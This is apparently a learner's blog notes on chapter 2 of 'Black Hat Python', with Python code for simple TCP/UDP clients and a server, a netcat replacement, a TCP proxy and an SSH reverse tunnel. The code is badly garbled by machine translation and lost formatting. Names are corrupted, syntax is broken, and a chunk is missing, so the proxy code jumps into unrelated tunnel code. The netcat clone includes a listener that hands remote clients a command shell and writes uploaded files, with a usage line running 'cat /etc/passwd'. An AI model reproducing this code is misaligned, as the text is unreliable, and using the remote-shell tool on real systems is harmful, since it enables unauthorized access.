Python3 Black Hat mbp Edition (Chapter 2: network Foundation)
Write in the first words: wanted to learn python a long time ago, while I bought a book, I intend to start the python learning journey. First of all, let's talk about my tools: I use a sublime text3 editor and the main website is Mr. Liao Xuefeng.
The website draws lessons from a lot of knowledge points in ODboy blog.
Tcp client
#! / usr/bin/env python3#-*-code: utf-8-*-import sockettarget_host= "www.baidu.com" target_port=80client=socket.socket (socket.AF_INET,socket.SOCK_STREAM) # AF_INET indicates IPv4, and socket.SOCK_STREAM indicates that the TCP protocol client.connect ((target_host,target_port)) # parameter is a meta-ancestor, including address and port number. Client.send (b "GET / HTTP/1.1\ r\ nHost: baidu.com\ r\ n\ r\ n") response=client.recv (4096) print (response) client.close
UDP client
#! / usr/bin/env python3#-*-code: utf-8-*-target_host= "127.0.0.1" target_port=12345client=socket (AF_INET,SOCK_DGRAM) client.sendto ("BBC" .encode ("utf-8"), (target_host,target_port)) print (client.recvfrom (4096). Decode ("utf-8")) client.close ()
These two clients are relatively simple, only simple connection function, because there is no suitable UDP client, here directly listen to the local port to connect.
TCP server
#! / usr/bin/env python3#coding=utf8from socket import * from timeimport ctimeimport os import threadingbufsize = 1024addr = ('0.0.0.0 socket 13140) # define the socket type Network communication server=socket (AF_INET,SOCK_STREAM) server.bind (addr) server.listen (5) print ("listening on", addr) def handle_client (client_socket): request=client_socket.recv (1024) print ("received:%s"% request) client_socket.send (bytes ("ACK!" .encode ("utf-8")) client_socket.close () while True:# client is the socket object of the client, and add is the address plus port This client equals client_socket client,add1=server.accept () print ("accpet connection from:%s:%d"% (add1 [0], add1 [1])) # in the function for threaded args parameters. The thread should be a tuple, so it should be client, client_handle=threading.Thread (target=handle_client,args= (client,)) client_handle.start ()
This is the code to connect to the server, which is slightly different from the tcp and udp clients.
# coding=utf8from socket import * host= "127.0.0.1" port=13140data=input ("enter the message to be sent:") client=socket (AF_INET,SOCK_STREAM) print ("connecting...") client.connect ((host,port)) client.send (data.encode ("utf-8")) print ("Connected from", client.getsockname () print ("Connected to", client.getpeername ()) print (client.recv (4096). Decode ("utf-8"))
Local server:
Local client:
Replace netcat
#! / usr/bin/env python3#coding=utf-8import sysfrom socket import * import getopt # is used to process the command line parameter import threadingimport subprocess # to start a shell and control the input and output #-e and-p, there is no problem running under mac, there is a problem under win, and there will be problems with the commands you run. Listen = Falsecommand = Falseupload = Falseexecute = "" target = "" upload_destination = "" port = 0def usage (): print ("netcat") print ("Usage:nc_hacker.py-t target_host-p target_port") print ("- l-- listen-listen on [host]: [ Port] for incoming connections ") print ("-e-execute=ile_to_run-execute the given file upon receiving a connection ") print ("-c-command-initialize a command shell ") print ("-u-upload=destination-upon receiving connection upload a file and write to [destination] ") print (" Examples: ") print (" nc_hacker.py-t 192.168.0.1-p 5555-l-c ") ") print (" nc_hacker.py-t 192.168.0.1-p 5555-l-u c:\\ target.exe ") print (" nc_hacker.py-t 192.168.0.1-p 5555-l-e\ "cat / etc/passwd\") print ("echo 'ABCDEFGHI' |. / nc_hacker.py-t 192.168.11.12-p 135") sys.exit (0) # main function def main ( ): global listen global port global execute global command global upload_destination global target # displays the menu if not len (sys.argv [1:]): usage () try: # getopt module processes the command line without entering a value There is no colon after # h: indicates that there are no parameters, p: and I: are followed by a colon to indicate that the parameter # help is required without an equal sign = Indicates that there is no parameter followed by a =, indicating that the parameter # is required. The return value options is a list containing meta-ancestors, and each meta-ancestor is the format information analyzed. For example, [('- iBoss] 127.0.0.1'), ('- pawdling (80')] # args is a list, including parameters that do not have'-'or'-'. For example: opts,args=getopt.getopt (sys.argv [1:], "hle:t:p:cu:", ["help", "listen", "execute", "target", "port", "command", "upload"]) except getopt.GetoptError as err: print (str (err) usage () for ojurisdiction an in opts: if o in ("- h") "--help"): usage () elif o in ("- l", "--listen"): listen=True elif o in ("- e", "--execute"): execute=an elif o in ("- c", "--command"): command=True elif o in ("- u") "--upload"): upload_destination=an elif o in ("- t", "--target"): target=an elif o in ("- p" "--port"): port=int (a) else: print ("unhandled option") # send data from standard input if not listen and len (target) and port > 0: # read input data # this will block To send ctrl-d, use buffer=input () # sys.stdin.read () # send data client_sender (buffer) # to monitor if listen: print ('the server is listening on% slug% d'% (target,port)) server_loop () # client code def client_sender (buffer): client = socket (AF_INET) SOCK_STREAM) try: print ("start connecting...") Client.connect ((target,port)) print ("connected") # if we detect input from stdin. # if not, we wait for user input. If len (buffer): client.send (buffer) while True: # waiting for data to be sent back recv_len = 1 response = "" print ("waiting response:") while recv_len: data = client.recv ( 4096) recv_len = len (data) response+= data.decode ("utf-8") if recv_len
< 4096: break print(response,end="") # 等待更多输入 buffer = input("") buffer += "\n" client.send(buffer.encode("utf-8")) except: print("[*] Exception! Exiting.") # 断开连接 client.close()# 服务端代码def server_loop(): global target,port # 如果没有定义目标,就监听所有接口 if not len(target): target = "0.0.0.0" server = socket(AF_INET,SOCK_STREAM) server.bind((target,port)) server.listen(5) while True: client_socket, addr = server.accept() # print(client_socket) # 分出一个线程来处理新的客户端 client_thread = threading.Thread(target=client_handler,args=(client_socket,)) client_thread.start()# -c命令def run_command(command): # 返回从字符串末尾删除所有字符串的字符串(默认空白字符)的副本 command = command.rstrip() # 运行命令并将输出返回 try: #subprocess.STDOUT是抛出异常。 output = subprocess.check_output(command,stderr=subprocess.STDOUT, shell=True) except: output = "Failed to execute command.\r\n" # 将输出发送 return output# 处理传入的客户端连接def client_handler(client_socket): global upload,execute,command # 检测上传文件 if len(upload_destination): # 读取所有的字节并写入 file_buffer = "" # 持续读取数据直到没有数据可用为止,有问题 while True: data = client_socket.recv(1024) if not data: break else: file_buffer += data # 现在我们取这些字节并试着把它们写出来。 try: print('opening') file_descriptor = open(upload_destination,"wb") file_descriptor.write(file_buffer) print('written') file_descriptor.close() # 确认文件是否上传 client_socket.send("Successfully saved file to %s\r\n" % upload_destination) except: client_socket.send("Failed to save file to %s\r\n" % upload_destination) # 检查命令执行 if len(execute): # 运行命令 output = run_command(execute) client_socket.send(output) # 如果需要一个命令shell,那我们进入另一个循环,。 if command: while True: # 跳出一个窗口 client_socket.send(b" ") #现在我们接收文件直到发现换行符(enter key) cmd_buffer = "" while "\n" not in cmd_buffer: cmd_buffer += client_socket.recv(1024).decode("utf-8") # 返还命令输出 response = run_command(cmd_buffer) # 返回相应数据 client_socket.send(response)if __name__=="__main__": main() 本地服务端: 本地客户端: 切换到python3后,netcat中有很多功能不完善,后期有时间要优化一下。 创建一个TCP代理 #!/usr/bin/env python3#coding=utf-8import sysfrom socket import *import threading# 16进制导出函数def hexdump(src, length=16): result = [] # 判读输入是否为字符串 digits = 4 if isinstance(src, str) else 2 for i in range(0, len(src), length): # 将字符串切片为16个为一组 s = src[i:i+length] # 用16进制来输出,x是digits的值,表示输出宽度 hexa = ' '.join(["%0*X" % (digits, (x)) for x in s]) # 用来输出原值 text = ''.join([chr(x) if 0x20 把端口数据的发送和接收通过新的传输通道转发出去 transport.request_port_forward("", server_port) while True: chan = transport.accept(1000) if chan is None: continue thr = threading.Thread(target=handler, args=(chan, remote_host, remote_port)) thr.setDaemon(True) thr.start()def handler(chan, host, port): sock = socket.socket() try: sock.connect((host, port)) except Exception as e: verbose("Forwarding request to %s:%d failed: %r" % (host, port, e)) return verbose("Connected! Tunnel open %r ->% r->% r "% (chan.origin_addr,\ chan.getpeername (), (host, port)) while True: # http://www.cnblogs.com/alex3714/p/4372426.html # select processes multiple non-blocking socket connections simultaneously through a single process. # A mark can be marked after receiving a ready message for the bottom layer of the system, and we will take the corresponding action after reading the token. # the data exchange between channel and sock is realized here. R, w, x = select.select ([sock, chan], [] []) if sock in r: data = sock.recv (1024) if len (data) = = 0: break chan.send (data) if chan in r: data = chan.recv (1024) if len (data) = 0: break sock.send (data) # stop sending and receiving data chan.close () sock.close () verbose ("Tunnel closed from% r"% (chan.origin_addr) ) def parse_options (): global g_verbose # http://blog.csdn.net/cclarence/article/details/50964316 # parses the command line argument. The value of dest is the value parser = OptionParser (usage='usage:% prog [options] [:]', version='%prog 1.0 parameters, description=HELP) parser.add_option ('- Q arguments,'--quiet', action='store_false') added after the options point Dest='verbose', default=True, help='squelch all informational output') parser.add_option ('- paired,'--remote-port', action='store', type='int', dest='port', default=DEFAULT_PORT, help='port on server to forward (default:% d)'% DEFAULT_PORT) parser.add_option ('- upright,'--user' Action='store', type='string', dest='user', default=getpass.getuser (), help='username for SSH authentication (default:% s)'% getpass.getuser () parser.add_option ('- Knight,'--key', action='store', type='string', dest='keyfile', default=None Help='private key file to use for SSH authentication') parser.add_option (','--no-key', action='store_false', dest='look_for_keys', default=True, help='don\'t look for or use a private key file') parser.add_option ('- playing,'--password', action='store_true', dest='readpass', default=False Help='read password (for key or password auth) from stdin') parser.add_option ('- ringing,'--remote', action='store', type='string', dest='remote', default=None, metavar='host:port', help='remote host and port to forward to') options Args = parser.parse_args () if len (args)! = 1: parser.error ('Incorrect number of arguments.') If options.remote is None: parser.error ('Remote address required (- r).') G_verbose = options.verbose server_host, server_port = get_host_port (args [0], SSH_PORT) remote_host, remote_port = get_host_port (options.remote, SSH_PORT) return options, (server_host, server_port), (remote_host, remote_port) if _ _ name__ = ='_ main__': main ()
Login page of the router
Here is the machine that uses mac to connect to kali, and then view the login page of the router on kali.